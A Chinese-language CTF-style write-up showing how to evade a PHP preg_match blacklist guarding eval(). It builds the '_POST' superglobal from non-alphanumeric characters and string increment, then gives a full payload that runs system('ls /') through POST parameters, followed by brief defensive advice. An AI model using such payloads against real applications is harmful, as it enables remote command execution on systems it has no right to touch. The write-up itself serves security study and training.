手把手调试PHP preg_match绕过:从字符集测试到‘$_++’构造POST变量(附避坑指南)
从字符集测试到变量构造:PHP preg_match绕过的深度调试指南
在代码审计和安全研究中,绕过过滤机制是常见的挑战。PHP的 preg_match 函数常被用于输入验证,但巧妙利用未被过滤的字符组合往往能突破限制。本文将带你深入探索如何从零开始构建有效的payload,而不仅仅是复制现成的解决方案。
1. 理解题目环境与过滤机制
首先我们需要完整理解题目设置的过滤条件。给定的PHP代码对输入进行了多重验证:
if (strlen($code) <= 105){
if (is_string($code)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<?>\"|`~\\\\]/",$code)){
eval($code);
}
}
}
这个正则表达式过滤了几乎所有字母数字字符和常见特殊符号。我们需要找出哪些字符 没有被过滤 ,这些"幸存"的字符将成为我们构建payload的基础材料。
提示:在真实审计场景中,建议先复制这个正则表达式到本地测试环境,确保完全理解其过滤范围。
2. 系统化测试可用字符集
为了科学地找出可用字符,我们可以编写一个简单的测试脚本:
<?php
$allowed = [];
for ($i=32;$i<127;$i++){
$char = chr($i);
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<?>\"|`~\\\\]/", $char)){
$allowed[] = $char;
}
}
print_r($allowed);
?>
运行这个脚本后,我们会发现一些关键可用字符:
- 下划线
_ - 加号
+ - 点号
. - 分号
; - 逗号
, - 空格
- 等号
= - 斜杠
/ - 方括号
[]
这些字符看似简单,但通过巧妙组合可以实现强大的功能。
3. 构建基础字符串的创造性方法
在PHP中,即使没有字母数字,我们也能构造出需要的字符串。一个关键技巧是利用PHP的类型转换和字符串操作特性:
$_=(_/_._)[_];
让我们拆解这个看似晦涩的表达式:
_/_._:这是一个字符串操作,实际结果为"NAN"(因为_被视为字符串,数学运算会转换为0)[_]:_在字符串上下文中被视为0,所以相当于取第一个字符"N"
这样我们就得到了字符 "N" ,这是构建更复杂字符串的起点。
4. 利用自增操作生成字母序列
PHP的字符串自增特性允许我们对单个字符进行递增:
$_++; // "N" → "O"
$_++; // "O" → "P"
通过这种方法,我们可以逐步构建出需要的字母。例如构建 "POST" 的过程:
- 初始获取
"N" - 自增得到
"O" - 连接操作:
$__ = $_.$_++;→"PO" - 继续自增和连接,最终得到
"POST"
注意:PHP版本差异会影响自增行为。PHP7+表现更一致,而PHP5.x可能有意外行为,建议使用PHP7+环境测试。
5. 构造完整payload的步骤详解
让我们一步步构建最终可执行的payload:
// 步骤1:获取初始字符"N"
$_=(_/_._)[_];
// 步骤2:自增得到"O"
$_++;
// 步骤3:构造"PO"
$__=$_.$_++;
// 步骤4:继续自增得到"Q","R","S"
$_++; $_++; $_++;
// 步骤5:构造"POS"
$__=$__.$_;
// 步骤6:自增得到"T"
$_++;
// 步骤7:构造完整"POST"
$__=$__.$_;
// 步骤8:构造"_POST"超全局变量
$_=_.$__;
// 步骤9:通过变量变量执行命令
$$_[_]($$_[__]);
最终的payload需要通过POST传递额外参数:
code=$_=(_/_._)[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$__=$__.$_;$_++;$__=$__.$_;$_=_.$__;$$_[_]($$_[__]);&_=system&__=ls /
6. 实战中的常见问题与解决方案
在实际测试中,可能会遇到几个典型问题:
-
PHP版本兼容性问题 :
- PHP5.x可能在某些自增操作上表现不一致
- 建议使用PHP7.0+环境测试
-
参数传递问题 :
- 最后的
$$_[_]($$_[__])需要外部传入_和__参数 - 忘记传参会报错,确保POST请求包含这些参数
- 最后的
-
字符集限制问题 :
- 不同环境下可用字符可能略有差异
- 建议先在本地完整测试payload
7. 防御建议与安全思考
理解这种绕过技术后,我们应该思考如何更安全地设计过滤机制:
- 使用白名单而非黑名单策略
- 对特定字符组合进行额外检查
- 限制eval等危险函数的使用
- 实施多层防御机制
这种绕过技术展示了黑名单过滤的根本弱点。在真实项目中,应该采用更积极的防御策略,如输入验证、输出编码和最小权限原则。
更多推荐
所有评论(0)